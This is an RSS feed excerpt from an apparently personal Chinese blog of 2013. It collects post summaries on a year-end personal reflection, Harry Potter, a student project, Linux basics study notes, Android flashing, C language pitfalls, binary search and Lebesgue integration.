经历了这些事情，经历了这些思考。这些这些，开始逐步决定、逐步让我思考自己准备做一个什么样的人，我喜欢罗永浩在他那本《我的奋斗》中用来激励我们的：“‘永远年轻，永远热泪盈眶’ 当你试图放弃一个你知道是正确的事情的时候，希望你能再看看这句话。”
二、关于爱情 {% centerquote %} Praising what is lost makes the remembrance dear. {% endcenterquote %}
20岁这年，应该算是正式结束了我第一段也是唯一一段感情。从初中以来，五年时间，想想人生中能够陪伴一个人五年，想想也是挺幸运的事。这五年里我们分分合合打打闹闹，旁人看了都觉得习以为常了，所以后来逐渐理解常人谈及的一句话，当逐渐熟悉并习惯了有你存在的日子之后，人真是个奇怪的动物不是么，一旦失去之后的日子会觉得不自在似得，身边少了个唠叨的人了。所以2013年断断续续的，你经常跟我提及我们的一些过去，但很多我都忘了，忘得一干二净，所以你也多次和我抱怨，我最后也都一笑而过，继续遗忘。到最后，我只记得你是我生命中最重要的几个人之一，想想看我确实挺失败的。
那天收到你短信之后，我意识到这可能是最后一次了，这不是毫无征兆的，所以我尝试去挣扎，敲了很长很长的文字，但是最后还是删掉了，千言万语似乎都没有用了不是么。
写这篇日志之前，我决定整理我们的照片、物件一切相关的东西，当我翻看硬盘里那些被我藏得很深的几张合影，本希望把他作为我大学生活的一部分传至相册，但我最终还是没能鼓起勇气把我们唯一的几张合影放上来，希望你能原谅我。噢不，你不应该原谅我。
2013年结束了，我会在未来的日子里记得你，牢记曾对你许下的承诺，直至失效。
三、关于家庭 {% centerquote %} The family is one of nature&amp;rsquo;s masterpieces. {% endcenterquote %}</description></item><item><title>重温《Harry Potter》</title><link>https://changkun.de/blog/posts/review-harry-potter/</link><pubDate>Thu, 26 Dec 2013 18:30:38 +0000</pubDate><guid>https://changkun.de/blog/posts/review-harry-potter/</guid><description>作为哈利波特的铁杆粉丝，我决定赶在年终前复习一遍，终于，三天把八部电影又看了一遍，原著的话，过年回去消遣好了。第一次接触哈利波特时，哈利波特第一部的电影版已经上映了，我爸当时买了碟，应该是03年，带我一起在家里看，从那以后我便无法自拔的成为了铁杆粉丝。于是我初中时期高中时期，反复读过很多遍中译版，马爱新马爱农翻译的版本。哈6出版，哈7出版，我都第一时间拿到了第一版的书，当时我那个小镇里唯一的书店，阳光书社，我得知书出版的消息后每天跑书店跟老板谈让他拿到第一版的书，所以那个老板彻底认识我了。
记得哈7出版的时候，当时还没有中文版，当时我在网上找到了网友翻译的版本，在我被我爸抛弃的明基windows98电脑上读完了第一遍，当时是07年，我为什么会记得这么清楚？因为我找到了我07年在贴吧发的一个贴，当时是匿名发布的。我记得很清楚，这个帖子是我在第一遍读完的时候发的，当时异常的兴奋，总感觉就这么结束了不爽，萌生的是同人文的想法，不过当时想续写哈8深感自己太弱，于是把自己所构想的哈8整理成了章节，伪装成罗琳亲笔似的发到贴吧，希望能够得到吧友们的回应。现在来看，从我编写的章节标题稍微能依稀回忆起当时我的构思，我也觉得很神奇为何构思出如此奇特的想法。
读完哈7的时候，童年结束了，哈利波特陪伴了我八年。很幸运，我还参加了电影第七部（下）的首映，那是高三第一学期结束的时候。如今，哈利这个传奇结束两年了。祝福阿不思·西弗勒斯·波特，以及他勇敢的父亲、母亲，那些可爱的朋友们。感谢他们，感谢那些死去的人，感谢西弗勒斯·斯内普。或许很多年很多年后，我会再谈起他们，谈起这个关于勇气与爱的故事。
附：（原帖内容） 据说这是罗琳的一个朋友到她家去做客时想看看哈7的手稿，看着看着就看到了这一张，在这一张的最后面写着“Harry Potter 8”,于是就马上把标题抄到了一张纸上的。 这是翻译后的标题：
第1章 黑魔王诞生
第2章 现身在山谷 第3章 邓布利多的信 第4章 在德思礼一家的第三年 第5章 礼物 第6章 霍格沃茨魔法学校的四年生活 第7章 寻找记忆 第8章 黑魔王的计划 第9章 小天狼星之死 第10章 化名为R.A.B. 第11章 最后一战 第12章 被利用的伏地魔 第13章 二十年后的伤疤 第14章 新的敌人 第15章 金妮的死 第16章 哈利、罗恩与赫敏的再次汇合 第17章 太过简单的胜利 第18章 再现魂器 第19章 与伏地魔联手 第20章 寻找霍格沃茨的最后秘密 第21章 冥想盆里新的记忆 第22章 净化 第23章 有所察觉 第24章 逃亡 第25章 寻找死圣 第26章 禁林的新怪物 第27章 麻烦不断 第28章 再探神秘事物司 第29章 指点 第30章 向密室的最深处进发 第31章 德思礼夫妇现身 第32章 幕后黑手 第33章 D哥的帮助 第34章 回到过去 第35章 真正的身世 第36章 同归一尽 第37章 新的开始</description></item><item><title>这学期大创项目总算是告一段落了</title><link>https://changkun.de/blog/posts/%E8%BF%99%E5%AD%A6%E6%9C%9F%E5%A4%A7%E5%88%9B%E9%A1%B9%E7%9B%AE%E6%80%BB%E7%AE%97%E6%98%AF%E5%91%8A%E4%B8%80%E6%AE%B5%E8%90%BD%E4%BA%86/</link><pubDate>Wed, 11 Dec 2013 00:50:21 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%BF%99%E5%AD%A6%E6%9C%9F%E5%A4%A7%E5%88%9B%E9%A1%B9%E7%9B%AE%E6%80%BB%E7%AE%97%E6%98%AF%E5%91%8A%E4%B8%80%E6%AE%B5%E8%90%BD%E4%BA%86/</guid><description>晚上在龟谷，学长们问到说答辩有啥感想，当时语塞没说出口，也不是很想写这个总结的，看了周伟老师的日志后，觉得还是有说（tu）说（cao）的必要吧。
立项方面 这个项目立项是挺感谢周伟老师的，一开始就是在上个学期我在旁听周伟老师c++课的时候，周伟老师跟我提到说让我帮做个东西，当时不是很情愿，但是也没拒绝，抱着试一试的态度，硬着头皮花了点时间就做了下去，然后整出来了所谓的Demo1.0。当时没怎么在意这个东西，不过提起了我对这一领域的兴趣，于是后来快要期末考试那几周听到有大创立项的机会，就想了一段时间怎么样能够在现有的基础（于是发现就用Demo1.0吧）之上做点东西出来，顺便还有经费可以拿，于是就报了。所以做出来了这学期的Demo2.0。
团队方面 立项之后想了很多关于这方面的功能创意，都有想着一一去实现它，从理论上只需要稍加优化就能实现。最后考虑到一些因素就选择了实现较为简单的鼠标控制功能（确实这个选择是正确的，这学期课程太重了）。首先得感谢陈雅茜老师对这个项目给出了大量的指导，没有这些指导，这个项目的成果也完全属于闭门造车，这是及其不好的。各方面都学到了很多很多的东西，潜移默化的改变了我很多以前没有注意到的确实应该摒弃的东西。
这之后非常感谢两位朋友郭郭和建生的大力支持，以及他们在项目的工作，没有他们的那部分工作这个项目也解不了题。
项目经费领回来后就一分钱没动，就等项目结题后给你们发工资。周末我请你们吃饭。郭郭说大部分都是我做的，我觉得只要是干了事情的，都应该拿到属于自己的那部分，哪怕是微不足道的工作，只要发挥作用了，那就是一个巨大的突破。团队开发，要的就是这样给力的队友。
项目方面 虽然有进入及格线的用户体验，但是距离推向市场，有相当的距离。所有的工作，都可以在我上个学期末的项目计划表中查到。我只不过在学有余力、空闲的时候完成了这些内容，我觉得还是对得起我自己的。挺喜欢罗永浩自吹的那句话：“不是我自大，是那些行业里的牛人老是在我面前自小，逼得我自大”。总结来说，我也没觉得这个项目有做出多好成绩，我只是把计划里该完成的完成罢了，那些仅仅只是在评审结果中显示为“完成得不好”的项目，他们去忙了更多别的他们觉得对自己人生更重要的事情，比我只做这一件事情强多了。
吐槽部分 刚才看到周伟老师的日志，一眼就能看出来说的是我。我想说的是，我在介绍的所有的原创性工作的时候，我注意到您都埋头在思考自己的事情。您只是偶尔抬头看看发现：“噢，只是用了这么多引用文献做出来的”，就说：“对于那些只不过用了些别人的工具和方法，就以为自己作了多好的成绩的人”，完全不清楚【理论】到投放用户【实用】要做多少原创性优化，我也懒得解释了。一个拿着博士学位、说话有地位的老师要求自己的本科学生闭门造车做出各种各样原创性的工作，真是站着说话不腰疼。人类科学有毛用？生下来就自己思考一切不就完了么？那些paper哪个不是科学基础的产物？更何况，我为何不等到等我说话有地位的时候再把积累这么多的这些原创性东西全部拿出来，再退一万步讲，我也没有任何必要在校级答辩这种程度的地方说吧，提到就不错了。</description></item><item><title>Linux学习笔记 6 网络及配置相关</title><link>https://changkun.de/blog/posts/learn-linux-6/</link><pubDate>Sat, 07 Dec 2013 20:35:37 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-6/</guid><description>网络原理
IP编址 IP编址是一个双层编址方案，一个IP地址表示一个主机（或一个网卡接口），应用最广泛的是IPv4编址，但是已向IPv6编址切换 一个IPv4地址为32位长，IPv6地址为128位长（2^128个） IPv4地址分为2个部分：网络部分（标识所属区域）和主机部分（标识区域中的哪台主机） IPv4共32位，使用点分十进制方式表示，分为四个部分，每部分八位 192.168.1.1（11000000.10101000.00000001.00000001） 子网掩码 通过子网掩码来确定网络部分的位数 子网掩码与IP地址一样，有32bit，每一位与IP地址中的每一位一一对应。 IP地址中对应子网掩码中为1的部分为网络部分。 192.168.1.1 255.255.255.0 证明此IP地址的前24位是网络部分，也就是说此IP地址处在同一个网络的其他主机的IP地址前24位相同，以证明他们在同一网络。 网关/路由 在不同网络之间传输数据的功能叫做路由功能，一般有多个接口，接到不同网络中，并通过路由表进行数据转码 路由表： 目标网络 &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 子网掩码 &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 出接口 192.168.1.1 &amp;amp;nbsp; 255.255.255.0 &amp;amp;nbsp; eth0 172.16.1.0 &amp;amp;nbsp; &amp;amp;nbsp;255.255.255.0 &amp;amp;nbsp; eth1 61.1.1.0 &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp;255.255.255.0 &amp;amp;nbsp; eth2 域名： 类型：表示此域名的类型 域名：域名名称 主机名：该域中的某台主机名称 DNS 每一个域名代表一个IP，而DNS服务就是用来在IP与域名之间进行转换的。 &amp;amp;nbsp; 基本网络参数： 要配置一个局域网通信的计算机需要： （1）IP地址（2）子网掩码 要配置一个跨网端通信的计算机需要： （1）IP地址（2）子网掩码（3）网关 要配置一个可以上网的计算机需要： （1）IP地址（2）子网掩码（3）网关（4）DNS &amp;amp;nbsp; &amp;lt;span style=&amp;quot;font-size:24px;&amp;quot;&amp;gt;**Linux网络配置**&amp;lt;/span&amp;gt; 以太网接口被命名为:eth0、eth1等（数字表示网卡编号） 通过lspci查看网卡硬件信息（usb网卡需要用lsusb） ifconfig -a &amp;amp;nbsp;查看所有 ifconfig eth0 查看特定接口 ifup ifdown 启用/禁用一个接口 setup配置网卡，配置王成后，使用ifup启用网卡，并使用ifconfig命令查看信息 网络相关配置文件 网卡配置文件 /etc/sysconfig/network-scripts/ifcfg-eth0 DNS配置文件 /etc/resolv.</description></item><item><title>Linux学习笔记 5 UGO模型、Linux权限</title><link>https://changkun.de/blog/posts/learn-linux-5/</link><pubDate>Sat, 07 Dec 2013 19:52:14 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-5/</guid><description>Linux 用户与组
用户用于限制使用者或进程可以使用、不可以使用那些资源 组用来方便组织和管理用户 每一个用户拥有一个UserID（UID）每个用户属于一个主组，属于一个或多个附属组 每一个组拥有一个GroupID（GID）每一个进程以用户身份运行，并接受该用户可访问资源限制 每一个可登陆用户拥有一个指定的shell &amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;用户：&amp;lt;/span&amp;gt; &amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;用户ID为32位，从0开始，但是为了和老式系统兼容，用户ID限制在60000以下&amp;lt;/span&amp;gt; root用户：ID为0的用户都是root用户 系统用户：ID:1~499 没有Shell 普通用户：ID:&amp;amp;gt;=500 &amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;系统文件都有一个所属用户及所属组&amp;lt;/span&amp;gt; id: 显示当前用户的信息 passwd:修改当前用户密码 与用户相关的文件有: /etc/passwd 用户信息 /etc/shadow 密码（加密） /etc/group 组信息 passwd文件中格式为： 用户名:密码:UID:GID:描述信息:用户家目录:用户的登陆Shell shadow: 用户名:密码（分为三个部分）:.... gourp: 组名:组密码:组ID:.... 查看登陆的用户： 命令whoami显示当前用户 命令who显示已登陆用户 命令w显示登陆用户在做什么 创建一个用户: useradd ock 创建一个新用户ock 这条命令会执行： 1、在/etc/passwd添加用户信息 2、passwd中创建密码，则会加密保存在/etc/shadow中 3、为用户建立一个新的家目录/home/ock 4、将/etc/skel中的文件复制在用户家目录中 5、建立一个与用户用户名相同的组，新建用户默认属于这个同名组 支持参数： -d 家目录 -s 登陆shell -u userid -g 主组 -G 附属组（最多31个，用&amp;amp;quot;,&amp;amp;quot;分割） 也可以通过修改/etc/passwd的方式实现，但是不建议。 &amp;amp;nbsp; 修改用户信息 usermod 参数 username -l 新用户名 -u 新userid -d 用户家目录位置 -g 用户所属主组 -G 用户所属附属组 -L 锁定用户使其不能登陆 -U 解除锁定 &amp;lt;span style=&amp;quot;line-height: 1.</description></item><item><title>Linux学习笔记 7 获取帮助</title><link>https://changkun.de/blog/posts/learn-linux-7/</link><pubDate>Sat, 07 Dec 2013 19:15:56 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-7/</guid><description>-h 几乎所有可用的参数
--help 获取帮助 manual: man 获取帮助文档 文档类型： 1、用户命令 2、内核系统调用 3、库函数 4、特殊文件盒设备 5、文件格式和规范 6、游戏 7、规范标准和其他页面 8、系统管理命令 9、Linux内核API man -k 关键字 查询关键字 info 比 man 更详细，以网页形式显示 man /info &amp;amp;quot;/+关键字&amp;amp;quot;进行搜索 /usr/share/doc 中有最为详尽的文档</description></item><item><title>Linux学习笔记 4 Linux文件系统基本操作</title><link>https://changkun.de/blog/posts/learn-linux-4/</link><pubDate>Sat, 07 Dec 2013 19:01:47 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-4/</guid><description>Linux文件系统支持：
ext2（默认不带日志）、&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;ext3（默认带日志）、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;ext4、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;fat(MS-DOS)、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;vfat、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;nfs、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;iso9660、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;proc、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;gfs(global file system)、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;jfs、&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 1.6em;&amp;quot;&amp;gt;...&amp;lt;/span&amp;gt; &amp;amp;nbsp; 创建文件系统： mke2fs -t ext4 /dev/sdb1 常用参数： -b block size 指定文件系统块大小 -c 建立文件系统时，检查损坏块 -L label 指定卷标 -j 建立文件系统日志 &amp;amp;nbsp; mkfs 支持参数较少 不能精细化控制 mkfs ext3 /dev/sda3 mkfs ext4 /dev/sda3 mkfs vfat /dev/sda3 &amp;amp;nbsp; dumpe2fs 查看文件系统的详细信息 dumpe2fs /dev/sda3 &amp;amp;nbsp; ezlabel 为文件系统添加标签 ezlabel /dev/sda2 显示sda2系统标签 ezlabel /dev/sda2 HH 设置标签为HH &amp;amp;nbsp; fsck 检查并修复损坏的文件系统 -y 不提示进行修复 -t 对损坏较严重的文件系统进行检查修复时，需要使用此参数来指定修复文件系统的类型 对于识别为文件的损坏数据（文件系统无记录）fsck会将文件放入lost+found目录系统启动时会对磁盘进行fsck操作 &amp;amp;nbsp; JOURNAL日志 拥有较强的稳定性，在出现错误时可以进行恢复 带日志的文件系统： （1）将准备执行的事务的具体内容写入日志 （2）进行操作 （3）成功后，具体内容从日志中删除 优点：出现意外可查看日志 缺点：丧失一定性能 &amp;amp;nbsp; fdisk 只有超级用户才可以使用 fdisk -l 列出所有安装的磁盘及其分区信息 fdisk /dev/sda 对目标磁盘进行分区操作，分区后使用partprobe让内核更新分区信息，否则重启后才能识别 /proc/partitions 文件也可以用来查看分区信息 分区： 主分区：n -&amp;amp;gt; p -&amp;amp;gt; 1 -&amp;amp;gt; +size(K,M,G) 扩展分区：n -&amp;amp;gt; e -&amp;amp;gt; 2 -&amp;amp;gt; +size(K,M,G) 逻辑分区：n -&amp;amp;gt; l -&amp;amp;gt; enter -&amp;amp;gt; +size(K,M,G) （分区号从5开始） 修改id： t 保存MBR： w 分区后需要创建文件系统才能使用。 &amp;amp;nbsp; 挂载、使用文件系统：磁盘或分区建好后，需挂在到一个目录才能使用 Windows或Mac会进行自动挂载，创建好文件系统后会自动挂载到系统上 Linux需要手工进行挂载或配置系统进行自动挂载 /dev/sda3 ext3 -挂载-&amp;amp;gt; /mnt &amp;amp;nbsp; mount 将格式化好的磁盘或分区挂载到一个目录上 mount /dev/sda3 /mnt 不带参数的mount会显示所有已挂载的文件系统 -t 指定文件系统的类型 -o 指定挂载选项 ro, rw read-only只读，read-write读写，默认rw sync 代表不使用缓存，对所有操作直接写入磁盘 async 使用缓存（默认，提高性能） noatime 代表每次访问文件时，不更新文件的访问时间（提高性能） atime 代表每次访问文件时，更新文件的访问时间 remount 重新挂载文件系统 &amp;amp;quot;,&amp;amp;quot;表示连接参数 &amp;amp;nbsp; umount 卸载挂载的文件系统 umount 文件系统/挂载点 umount /dev/sda3 == umount /mnt 出现device is busy报错：使用fuser -m /mnt查看使用进程 或者 lsof / mnt 查看使用文件 &amp;amp;nbsp; 自动挂载 配置文件/etc/fstab用来定义需要自动挂载的文件系统 fstab每一行代表一个挂载配置 格式： &amp;amp;nbsp;/dev/sda3 &amp;amp;nbsp; /mnt &amp;amp;nbsp; &amp;amp;nbsp;ext4 &amp;amp;nbsp; defaults &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 0 0 要挂载的设备 挂载点 文件系统 &amp;amp;nbsp;挂载选项 &amp;amp;nbsp;dump,fsck相关选项 可以使用LABEL取代/dev/sda3 mount -a 挂载所有fstab中定义的自动挂载项</description></item><item><title>又谈 Android</title><link>https://changkun.de/blog/posts/talk-about-android/</link><pubDate>Fri, 29 Nov 2013 21:12:01 +0000</pubDate><guid>https://changkun.de/blog/posts/talk-about-android/</guid><description>刚才手残点了4.4kitkat的更新，结果n7直接卡开机画面变砖了，下官方完整包的空当处。。敲点文字勾起我几年前研究安卓root和刷机事宜吧。。。
记得当年折腾自己改系统底层文件，刷recovery，超频，精心调整内存使用空间，用命令行来root+刷机，当时根本没有现在这样一整套的刷机+root的解决方案，得自己研究最新版本如何root。根本不像现在这样root刷机工具一搜一大堆，而且都是封好的shell直接一键安装就搞定。
这个学期开学的时候给gn刷了miui，本来是说新出了4.4准备把gn刷回原生的，结果官方说不支持。这是懒得刷的第一个原因。第二个原因是，gn刷了miui后不是觉得miui如何强大，而是实在懒得折腾回原生，用了ip后确实感受到一个明显的区别，就是安卓本质似乎就是玩机。或许有可能跟我是nexus系列有关。
整理、恢复备份，以前一折腾就是一个晚上，现在变砖了彻底没了玩机折腾的念头。记得买的第一台安卓设备是defy+（后来@牙签 毫不犹豫的跟风跳入了安卓阵营，现在你丫居然还在用这个= =，，膜拜了。。），第一次刷机的时候各种担心，现在回想起来真的好烦人，当时可能沉浸其中吧。第二台是gn，也是热衷折腾。
去年的这个时候第一次接触到了apple（这还得感谢@老夏 赞助了我200刀左右），逐步的对这个公司的产品有了别的一些看法，观点比较长，从这个学期入手了mba后就一直承诺说受@P哥_私人 影响想录个评测视频（或许不应该叫评测视频）的，稿子一直在扩充，入手air后，又进行了一次扩充，现在算下来也有几万字了，不过一直没找到机会给录，上次和@书翻 聊到到现在也一直没搞，确实感到抱歉。因为不是这篇日志讨论的内容，我也就不敲出来了。等下周如果有时间了就了断了它。。
这里主要想表达的观点，大概就是，玩机的时代似乎已经逐步退出历史舞台，刷机已经变得不那么夺人眼球，设备的使用者在追求玩设备的完美性后，已经往追求设备的一种稳定性而过渡，虽然每次系统更新都能给我这样的使用者带来一丝惊喜，无论是google还是apple的升级都是感觉特棒，但是，实在是不想在中午休息那一个小时冲忙升级or刷机然后下午带着不完美的设备前往教室使用上纯粹是糟糕的，这样的玩机折腾实在乏味。ios上给我的体验，无论是流畅度还是是以前的android不能比的。现在依旧是。这里又想多吐槽一句windows了，如今半年重装一次系统已经是习惯了么，这家伙速度又扛不住了。。
敲这篇日志的时候，正在下n7的4.4官方包，刷完就算了，也不想再折腾怎么root了。敲到这里的时候，重刷4.4已经完毕了，滑了滑屏幕看了看软件顺便就说一下4.4吧。
随手拍了两张图，app的icon已经all new了，甚至连收购没多久的quickoffice和以前没有的google drive也集成了，设置选项里面多了个云打印机，显然属于废材功能了（大多数人来说确实如此不是么），因为考虑到想测试google now的唤醒，所以开机的时候选了us，因为是深夜室友睡了，白天再试算了。。初步使用确实流畅，软件一多也就什么都不知道了。
传说中的屏幕录制找了一会儿也没找到，另外，没有发现传说中的art模式，maybe是art是针对高通cpu推出的测试？nvidia的tegra残废了？可能google在为5.0退出正式版攒大招。
多评一句nexus设备，nexus放到国外，毫无疑问的是神一般的存在，尤其是美国本土一些中心城市。幻想我以后有机会studying abroad，那时的android估计已经和ios平起平坐了，到那时新的nexus肯定已经innovation了。
从上学期以来就 一直有和@郭曌阳 谈到我对android和ios的前景，现在看来仍然是比较纠结的，如果说硬是要选个阵营，额- -。。（说老实话，尽管apple的产品这么出色，我依然是喜欢google多得多，好吧好吧，即便如此，一觉起来后nexus这些设备依旧会静静的躺在我的抽屉里）
额好吧，好像不知不觉就敲了这么多废话。。时间好像挺晚了。。就这样吧。。</description></item><item><title>Linux学习笔记 3 Vim必背命令</title><link>https://changkun.de/blog/posts/learn-linux-3/</link><pubDate>Wed, 20 Nov 2013 00:54:15 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-3/</guid><description>命令模式：
1 2 3 4 5 6 7 8 9 i 在光标前插入文本 o 在当前行的下一行插入新行 dd 删除整行 u 撤销上一个操作 yy 将当前行内容放入缓冲区（复制当前行） nyy 将n行内容放入缓冲区 p 将缓冲区的文本放入光标后 r 替换当前字符 / 查找关键字 n键进行切换 ex模式：
1 2 3 4 5 6 7 : w 保存 : q 退出 : x 保存并退出 : q! 强制退出 : set number 显示行号 : ! [系统命令] 执行一个系统命令并显示结果 : sh 切换到命令行，ctrl+d切换回vim</description></item><item><title>Linux学习笔记 2 Linux常用必背命令</title><link>https://changkun.de/blog/posts/learn-linux-2/</link><pubDate>Wed, 20 Nov 2013 00:28:48 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-2/</guid><description>日期时间 1 2 3 4 5 6 7 8 9 date # 格式化显示时间 +%Y[任意格式]%m[任意格式]%d # -s: 设置时间 hwclock/clock # 用以显示硬件时钟时间 cal # 查看日历 uptime # 查看系统运行时间 输出、查看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 echo: 用以显示输入的内容 cat: 显示纯文本文件的内容 more: 用于翻页显示文件内容（只能用于向下翻页） less: 用于翻页显示文件内容（带上下翻页） head: 显示文件的头几行（默认十行） -n: 显示行数 tail: 显示文件的末尾几行（默认十行） -n: 显示行数 -f: 追踪显示文件更新（一般用于查看日志、命令不会退出） 查看硬件信息：** 1 2 3 4 5 6 7 8 lspci: 查看PCI设备 -v: 查看详细信息 lsusb: 查看USB设备 -v: 查看详细信息 lsmod: 查看加载的模块（驱动） 关机/重启 1 2 3 4 5 6 7 8 9 10 11 shutdown [参数] 时间 -h: 关机 -r: 重启 例如： shutdown -h now shutdown -h +10 （十分钟以后） shutdown -r 23:30 （23:30重启） poweroff: 立即关机 reboot: 立即重启 归档和压缩 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 zip: zip myfile.</description></item><item><title>Linux学习笔记 1 Linux基本操作及其文件系统结构</title><link>https://changkun.de/blog/posts/learn-linux-1/</link><pubDate>Tue, 19 Nov 2013 23:47:33 +0000</pubDate><guid>https://changkun.de/blog/posts/learn-linux-1/</guid><description>文件系统结构：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwd: print work directory 显示当前工作目录 touch [文件]: 创建一个空白文件或者更新已有文件的时间 ls: 显示当前工作目录的所有非隐藏文件 -a: 显示所有包括隐藏的文件 -l: 显示详细信息 -R: 递归显示子目录结构 -ld: 显示目录和链接信息 file [文件]: 查看文件的类型 cd [目标目录]: 切换目录 上一级目录&amp;amp;quot;..&amp;amp;quot; 当前目录&amp;amp;quot;.&amp;amp;quot; 用户家目录&amp;amp;quot;~&amp;amp;quot; 上一工作目录&amp;amp;quot;-&amp;amp;quot; 基本文件操作：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cp [文件]: 复制文件或目录 -r: 递归复制目录树 -v: 显示详细信息 mv [文件] [目标目录]: 移动或重命名（即移动时进行重命名操作） rm [文件]: 删除文件或者目录 -i: 交互式 -r: 递归的删除目录 -f: 强制删除 mkdir: 创建一个目录 rmdir: 删除一个空目录 Linux系统目录架构说明：</description></item><item><title>《C专家编程》读书笔记</title><link>https://changkun.de/blog/posts/c-expert-programming-reading-notes/</link><pubDate>Tue, 05 Nov 2013 16:34:23 +0000</pubDate><guid>https://changkun.de/blog/posts/c-expert-programming-reading-notes/</guid><description>《C专家编程》是一本94年出版的讲语言的书，如今二十一世纪都已经过去十年多了，书上很多东西是不是依旧有用将是本文将要解答的问题。
尽量不要使用无符号数 当无符号数与有符号数再一起使用时，有符号数会被强转为无符号数。
1 2 3 4 int value_int = -1; unsigned int value_uint = 5; int result = (value_int &amp;lt; value_uint) ? 1 : 0; printf(&amp;#34;%d\n&amp;#34;,result);// 结果为0 解释：C在计算含有不同类型表达式时，会将类型向上提升，上面代码中的int被提升为了unsigned int，使－1的补码被解析为很大的整数。
相邻的自字符串会被合并 1 2 char *str[] = {&amp;#34;hehe&amp;#34; &amp;#34;lala&amp;#34;,&amp;#34;woca&amp;#34;}; printf(&amp;#34;%s&amp;#34;,*str);// hehelala 优先级的问题 . 比 * 高:
1 2 *value.func --&amp;gt; *(value.func) [] 比 * 高:
1 2 int *array[] --&amp;gt; int *(array[]) // array[]的元素为int* 函数() 比 * 高:</description></item><item><title>谈谈二分搜索</title><link>https://changkun.de/blog/posts/talk-about-binary-search/</link><pubDate>Tue, 05 Nov 2013 01:41:20 +0000</pubDate><guid>https://changkun.de/blog/posts/talk-about-binary-search/</guid><description>今天读编程珠玑发现这句有意思的话：“提供充足的时间，竟然仅有10%的专业程序员能将这个小程序（指二分搜索）编写正确。” 于是随便写了写：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // // 二分搜索.c // // 说明：本质是二分法求根。 // // Created by 欧 长坤 on 13-11-05. // Copyright (c) 2013年 欧 长坤. All rights reserved. // #include &amp;lt;stdio.h&amp;gt; int binary_search(int array[], int left, int right, int key) { int middle; while(left &amp;lt;= right) { middle = (left + right)/2; if (array[middle] == key) return middle;// position else if(array[middle] &amp;gt; key) right = middle - 1; else left = middle + 1; } return -1;// not find } int main() { int array[10] = {1,2,3,4,5,6,7,8,9,10}; int ret = binary_search(array, 0, 10, 1); if(ret !</description></item><item><title>谈谈积分与函数</title><link>https://changkun.de/blog/posts/integral-and-function/</link><pubDate>Wed, 30 Oct 2013 13:42:07 +0000</pubDate><guid>https://changkun.de/blog/posts/integral-and-function/</guid><description>Lebesgue积分理论的高明之处就在于它使得在这套理论下的全体可积函数在类似范数的意义下构成了一个完备的赋范线性空间，这套理论的特点极大的方便了微分方程积分方程概率论及函数论的研究使用，比如在使用迭代法解方程的时，虽然每一步的迭代函数都是具有很好性质的函数，但却没有办法保证迭代序列的极限也有同样的性质。但只要迭代序列是$L^{p}$中的基本列，则其极限必定在$L^{p}$中，而这样的极限也就是我们知道的方程的广义解。
在遇到微分方程边值问题时，对于给定的边界条件一般情况下很难再连续可微函数的范围内求解，甚至根本不可能有连续可微解，所以我们熟知的处理方法是给方程加上一个小的扰动项，是的问题变得可解，如果去一列按$p$-方范数收敛到0的扰动项，对应的解序列按$p$-方范数是一个基本列，那这样的极限也是在$L^{p}$中的，这样的极限也是我们所常说的广义解。
而Riemann积分和Riemann-Stieltjes积分理论在$[0,1]$上的可积函数不能在范数
$$ \begin{equation} |f|=\int_{0}^{1}|f(x)|dx \end{equation} $$
的意义下构成一个完备的赋范线性空间。这就使得我们再处理前面所提到的问题的时候根本就是束手无策。也正是如此，Lebesgue积分理论将Riemann积分和Riemann-Stieltjes积分理论送进了历史博物馆。
但是有一个问题是值得讨论的，Lebesgue这套理论首先将具有某种可加性质的非负集合函数扩张成某个$\sigma$-代数上的可数可加的非负集合函数（测度），然后再这个测度理论的的基础上建立起具有我们所需要的完备性的积分理论。从直观上来看，这似乎是一套为了完善问题而提出的一套理论。
我们脑子里总是会有这样的想法：
一个为了建立我们所需要的完备性积分理论的更为直接的途径似乎应该是将相对于没有我们所需要的完备性积分理论中的全体可积函数组成的空间完备化。这种绕过了测度理论而直接建立起具有我们所需要的完备性的积分理论从某种意义上来说才更像是是一个理论扩充的过程。
再说说广义函数。广义函数说道被提出有这样一段小小的插曲，当时Dirac在量子力学原理一书中提出过这样一个反常函数$\delta(x)$，它被定义在$R$上，并且对于
$$ \begin{equation} \forall x \neq 0 \end{equation} $$
有
$$ \begin{equation} \delta(x) = 0 \end{equation} $$
但
